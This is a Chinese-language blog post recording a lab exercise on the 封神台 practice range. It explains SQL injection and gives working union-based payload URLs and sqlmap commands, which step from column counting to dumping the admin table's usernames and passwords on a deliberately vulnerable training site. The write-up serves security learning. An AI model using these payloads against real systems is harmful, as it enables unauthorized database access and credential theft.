第一章:为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】

前言

感觉要失业了,开启找大佬付费学习的阶段。

游戏规则:本人将自己的存款交与大佬师傅保管,大佬师傅给本人布置学习任务。无论本人任务完成到哪里,只要有产出(一篇博客),就会有 100 元。


任务:

  • 完成封神台靶场,博客一篇,并将博客内容给大佬师傅进行讲述 ¥ 100(每日任务,只能完成一次)
  • 封神台每一关 ¥ 100(不设上限)

为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】

Tips:
通过sql注入拿到管理员密码!
若弹窗提示登录或者出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

image


登陆后台

通过传送门,输入用户名zkaq,密码zkaq ,来到后台

点击查看新闻一,来到 http://pu2lh35s.ia.aqlab.cn/?id=1 页面
?id=1 改成 ?id=2 来到一个新的页面
显然,猫舍这个网站,ta 是通过 GET 方式进行传参的

image
image
image


SQL注入

什么是SQL注入

SQL注入是一种常见的网络安全攻击方式,攻击者通过将恶意的SQL代码插入到应用程序的输入字段中,从而欺骗数据库服务器执行非授权操作。这种攻击可以导致数据泄露、数据损坏甚至服务器被完全控制等严重后果。
https://developer.aliyun.com/article/1584268

image


我理解的 SQL 注入

原有的SQL查询语句 上,构造 新的SQL查询语句

设原有的SQL查询语句
$sql = "SELECT * FROM users WHERE id=$id ";

构造的新的SQL查询语句
$sql = "SELECT * FROM users WHERE id=$id union select version(),database() --+";

判断闭合

使用数学运算判断闭合

减法运算 2-1 页面正常显示,且显示的是 id 为 1 的页面,说明这是一个数字型的注入

如果是字符型注入,则需要测试闭合

image


使用排序功能判断列数

order by 的作用:ORDER BY 关键字可以使查询返回的「结果集」按照指定的列进行排序,可以按照某「一列」排序或者同时按照「多列」进行排序

使用 order by列3 进行排序,发现内容为空,我猜测表的内容只有 2列

image
image


确定回显点

目前已经用 order by 判断出了表格的列数

那么接下来,要去确认能够返回查询结果的位置

通过联合查询语句,得出结论:能够获取查询结果的位置是 列2

http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,22222222

image


数据库名称获取

数据库的名称是:maoshe

http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,database()

image


表格名称获取

http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,group_concat(table_name) from information_schema.tables where table_schema='maoshe'

image


获取表内的字段

直觉告诉我,admin 这个表很可疑,我选择去看 admin 中的字段名

http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,group_concat(column_name) from information_schema.columns where table_name='admin'

image


获取username,password

http://pu2lh35s.ia.aqlab.cn/?id=111111111 union select 1111111111,group_concat(username,0x3a,password) from admin

image


使用 SQLMAP 速通

检测注入点

python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq"

image


获取所有数据库

python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq" --dbs

image


获取当前数据库的表

python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq" --tables

image


获取指定表的列信息

python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq" -D maoshe -T admin --columns

image


获取用户名和密码

python3.8 sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --auth-type Basic --auth-cred "zkaq:zkaq" -D maoshe -T admin -C "username,password" --dump

image

posted @ 2025-11-02 12:46  落子无悔limit  阅读(2)  评论(0)    收藏  举报